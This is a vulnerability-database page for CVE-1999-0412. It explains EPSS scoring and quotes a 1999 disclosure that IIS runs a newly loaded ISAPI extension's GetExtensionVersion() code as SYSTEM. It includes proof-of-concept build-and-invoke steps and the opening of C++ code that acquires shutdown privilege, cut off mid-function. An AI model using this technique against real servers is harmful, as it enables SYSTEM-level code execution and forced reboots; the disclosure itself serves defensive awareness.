CVE-1999-0412 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/501/info IIS and potentially other NT web servers have a vulnerability that could allow arbitrary code to be run as SYSTEM. This works because of the way the server calls the GetExtensionVersion() function the first time an ISAPI extension is loaded. Any user able to put a CGI script in the web structure can insert code that will be run as SYSTEM during this window. Copied verbatim from a post to NTbugtraq by Fabien Royer <[email protected]>. Using VC++, create an ISAPI extension project and call it CRbExtension. Replace GetExtensionVersion() and Default() with the code below. Compile it to something simple, like rb.dll. Place it on your web server and invoke it from your browser like this http://your.machine.namerb.dll? Note: if you are using IE4.0, don't call this from the machine that is running the web server otherwise, the next time you log in, IE will recall the last URL and you'll reboot again. BOOL CRbExtension::GetExtensionVersion(HSE_VERSION_INFO* pVer) { HANDLE hToken; // handle to process token TOKEN_PRIVILEGES tkp; // pointer to token structure // Get the current process token handle so we can get shutdown // privilege. OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); // Get the LUID for shutdown privilege.
